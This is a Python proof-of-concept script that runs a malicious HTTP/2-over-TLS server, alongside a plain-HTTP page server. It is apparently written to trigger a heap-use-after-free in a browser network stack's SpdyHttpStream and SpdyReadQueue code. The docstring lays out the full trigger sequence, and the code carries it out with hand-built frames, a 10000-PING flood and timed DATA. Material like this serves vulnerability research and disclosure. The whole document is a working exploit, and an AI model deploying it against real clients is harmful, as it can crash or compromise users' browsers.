#!/usr/bin/env python3
"""
Malicious HTTP/2 server that triggers a network-process heap-use-after-free
in SpdyHttpStream::DoBufferedReadCallback / SpdyReadQueue::Dequeue.

The server:
  1. Serves the POC HTML page on port 8080 (plain HTTP).
  2. Runs a malicious HTTP/2-over-TLS endpoint on port 8443 that:
     - Reads the client preface + initial SETTINGS + initial WINDOW_UPDATE
     - Reads the first (victim) request HEADERS so its stream becomes OPEN
     - Stops reading, so the second (blocker) request's huge HEADERS write
       stalls and the SpdySession write loop is permanently stuck with an
       in-flight write (write_state_ != IDLE)
     - Sends its own SETTINGS + 10000 PING frames -> client queues 10001
       capped frames (1 SETTINGS_ACK + 10000 PING_ACK) which can never drain
     - Sends response HEADERS for the victim stream so the upper layer issues
       ReadResponseBody() (sets user_buffer_ + response_callback_)
     - Waits >5s (kDefaultTimeToBufferSmallWindowUpdates), then sends a DATA
       frame on the victim stream
  3. When the buffered-read timer fires, SpdyReadQueue::Dequeue pop_front()s
     the SpdyBuffer, whose ~SpdyBuffer ConsumeCallback runs
     SpdySession::IncreaseRecvWindowSize -> SendWindowUpdateFrame ->
     EnqueueSessionWrite. num_queued_capped_frames_ (10001) > 10000 ->
     DoDrainSession -> StartGoingAway -> SpdyHttpStream::OnClose ->
     DoResponseCallback(ERR_CONNECTION_CLOSED) -> HttpCache::Writers::
     OnNetworkReadFailure -> network_transaction_.reset() ->
     ~SpdyHttpStream -- all *inside* pop_front().
     Unwinding back to pop_front()/Dequeue()/DoBufferedReadCallback then
     touches the freed SpdyHttpStream/SpdyReadQueue -> heap-use-after-free.
"""
import http.server
import os
import socket
import socketserver
import ssl
import struct
import subprocess
import sys
import threading
import time

HTTP_PORT = 9080
H2_PORT = 9443

# ---------------------------------------------------------------------------
# HTTP/2 wire helpers
# ---------------------------------------------------------------------------

# Frame types
FT_DATA = 0x0
FT_HEADERS = 0x1
FT_RST_STREAM = 0x3
FT_SETTINGS = 0x4
FT_PING = 0x6
FT_GOAWAY = 0x7
FT_WINDOW_UPDATE = 0x8

PREFACE = b"PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"


def frame(ftype, flags, stream_id, payload):
    length = len(payload)
    hdr = struct.pack(">I", length)[1:] + struct.pack(">BBI", ftype, flags,
                                                      stream_id & 0x7fffffff)
    return hdr + payload


def settings_frame(settings=(), ack=False):
    payload = b"".join(struct.pack(">HI", sid, val) for sid, val in settings)
    return frame(FT_SETTINGS, 0x1 if ack else 0x0, 0, payload)


def ping_frame(opaque=0):
    return frame(FT_PING, 0x0, 0, struct.pack(">Q", opaque))


def headers_frame(stream_id, hpack, end_stream=False):
    flags = 0x04  # END_HEADERS
    if end_stream:
        flags |= 0x01
    return frame(FT_HEADERS, flags, stream_id, hpack)


def data_frame(stream_id, payload, end_stream=False):
    return frame(FT_DATA, 0x01 if end_stream else 0x00, stream_id, payload)


def hpack_lit(name, value):
    """Literal Header Field without Indexing -- New Name (no Huffman)."""
    out = bytearray()
    out.append(0x00)
    out.append(len(name))
    out += name.encode("ascii")
    out.append(len(value))
    out += value.encode("ascii")
    return bytes(out)


def hpack_response():
    out = bytearray()
    out.append(0x88)  # :status 200 (static idx 8)
    out += hpack_lit("access-control-allow-origin", "*")
    out += hpack_lit("content-type", "text/plain")
    out += hpack_lit("content-length", "100")
    return bytes(out)


# ---------------------------------------------------------------------------
# TLS cert generation
# ---------------------------------------------------------------------------

def make_cert(crt, key):
    if os.path.exists(crt) and os.path.exists(key):
        return
    subprocess.check_call([
        "openssl", "req", "-x509", "-newkey", "rsa:2048", "-nodes",
        "-keyout", key, "-out", crt, "-days", "7",
        "-subj", "/CN=a.test",
        "-addext", "subjectAltName=DNS:localhost,DNS:a.test",
    ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)


# ---------------------------------------------------------------------------
# Malicious H2 server
# ---------------------------------------------------------------------------

def recvn(sock, n):
    """Read exactly n bytes from a (possibly SSL) socket."""
    buf = b""
    while len(buf) < n:
        chunk = sock.recv(n - len(buf))
        if not chunk:
            raise ConnectionError("peer closed during recvn")
        buf += chunk
    return buf


def read_one_frame(sock):
    hdr = recvn(sock, 9)
    length = (hdr[0] << 16) | (hdr[1] << 8) | hdr[2]
    ftype = hdr[3]
    flags = hdr[4]
    sid = struct.unpack(">I", hdr[5:9])[0] & 0x7fffffff
    payload = recvn(sock, length) if length else b""
    return ftype, flags, sid, payload


def log(msg):
    print(f"[h2] {msg}", file=sys.stderr, flush=True)


def handle_h2(ssl_sock, raw_sock):
    # 1) Read client connection preface.
    pre = recvn(ssl_sock, len(PREFACE))
    if pre != PREFACE:
        log(f"bad preface: {pre!r}")
        return
    log("got preface")

    # 2) Read frames until we have seen the client's initial SETTINGS,
    #    initial session WINDOW_UPDATE, and the *first* (victim) request
    #    HEADERS frame. Then stop reading entirely so the second (huge)
    #    request HEADERS stalls the client's write loop.
    victim_stream = None
    deadline = time.time() + 5.0
    while time.time() < deadline:
        ftype, flags, sid, payload = read_one_frame(ssl_sock)
        log(f"recv frame type={ftype} flags={flags:#x} sid={sid} len={len(payload)}")
        if ftype == FT_HEADERS:
            victim_stream = sid
            log(f"victim stream id = {victim_stream}")
            break
    if victim_stream is None:
        log("never saw request HEADERS, aborting")
        return

    # 3) Stop reading. Give the client time to enqueue and start writing the
    #    blocker stream's huge HEADERS frame, which will fill the (tiny)
    #    server receive buffer + client send buffer and block the SpdySession
    #    write loop with an in-flight write.
    log("stopping reads; waiting for blocker write to stall...")
    time.sleep(2.0)

    # 4) Send server preface SETTINGS, then 10000 PING frames. The client
    #    queues 1 SETTINGS_ACK + 10000 PING_ACKs = 10001 capped frames; the
    #    write loop is stuck on the blocker HEADERS so none of them drain.
    out = bytearray()
    out += settings_frame()                # server SETTINGS (empty)
    out += settings_frame(ack=True)        # ack client's SETTINGS
    for i in range(10000):
        out += ping_frame(i)
    log(f"sending SETTINGS + 10000 PING ({len(out)} bytes)")
    ssl_sock.sendall(bytes(out))

    # 5) Send response HEADERS for the victim stream so the upper layer
    #    proceeds to ReadResponseBody() (sets user_buffer_/response_callback_).
    log("sending response HEADERS for victim stream")
    ssl_sock.sendall(headers_frame(victim_stream, hpack_response()))

    # 6) Wait > kDefaultTimeToBufferSmallWindowUpdates (5s) so that
    #    IncreaseRecvWindowSize's elapsed-time check passes when the
    #    SpdyBuffer ConsumeCallback fires.
    log("sleeping 7s for window-update threshold...")
    time.sleep(7.0)

    # 7) Send a small DATA frame (no END_STREAM, no padding). This is enqueued
    #    in response_body_queue_; the 1 ms buffered_read_timer_ fires and
    #    DoBufferedReadCallback -> Dequeue -> pop_front -> ~SpdyBuffer ->
    #    ConsumeCallback -> ... -> DoDrainSession -> ~SpdyHttpStream -> UAF.
    log("sending DATA frame")
    ssl_sock.sendall(data_frame(victim_stream, b"A" * 100))

    # 8) Hold the connection open without ever reading.
    log("holding connection open...")
    time.sleep(30.0)


def h2_server(ctx):
    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    # Minimise the receive buffer so the client's blocker write stalls fast.
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1)
    srv.bind(("0.0.0.0", H2_PORT))
    srv.listen(8)
    log(f"listening on :{H2_PORT}")
    while True:
        raw, addr = srv.accept()
        # Re-assert tiny receive buffer on the accepted socket.
        try:
            raw.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 1)
        except OSError:
            pass
        log(f"accept from {addr}, SO_RCVBUF={raw.getsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF)}")
        try:
            ssock = ctx.wrap_socket(raw, server_side=True)
        except ssl.SSLError as e:
            log(f"TLS handshake failed: {e}")
            raw.close()
            continue
        if ssock.selected_alpn_protocol() != "h2":
            log(f"ALPN={ssock.selected_alpn_protocol()!r}, expected h2; closing")
            ssock.close()
            continue
        threading.Thread(target=_handle_h2_thread, args=(ssock, raw),
                         daemon=True).start()


def _handle_h2_thread(ssock, raw):
    try:
        handle_h2(ssock, raw)
    except Exception as e:
        log(f"handler error: {e!r}")
    finally:
        try:
            ssock.close()
        except OSError:
            pass


# ---------------------------------------------------------------------------
# Plain-HTTP page server
# ---------------------------------------------------------------------------

class Handler(http.server.SimpleHTTPRequestHandler):
    def __init__(self, *a, **kw):
        super().__init__(*a, directory=os.path.dirname(os.path.abspath(__file__)),
                         **kw)

    def log_message(self, fmt, *args):
        sys.stderr.write("[http] " + (fmt % args) + "\n")


def http_server():
    socketserver.TCPServer.allow_reuse_address = True
    with socketserver.TCPServer(("0.0.0.0", HTTP_PORT), Handler) as httpd:
        log(f"HTTP page server on :{HTTP_PORT}")
        httpd.serve_forever()


# ---------------------------------------------------------------------------

def main():
    here = os.path.dirname(os.path.abspath(__file__))
    crt = os.environ.get("POC_CERT", os.path.join(here, "server.crt"))
    key = os.environ.get("POC_KEY", os.path.join(here, "server.key"))
    make_cert(crt, key)
    ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
    ctx.load_cert_chain(crt, key)
    ctx.set_alpn_protocols(["h2"])

    threading.Thread(target=http_server, daemon=True).start()
    h2_server(ctx)


if __name__ == "__main__":
    main()
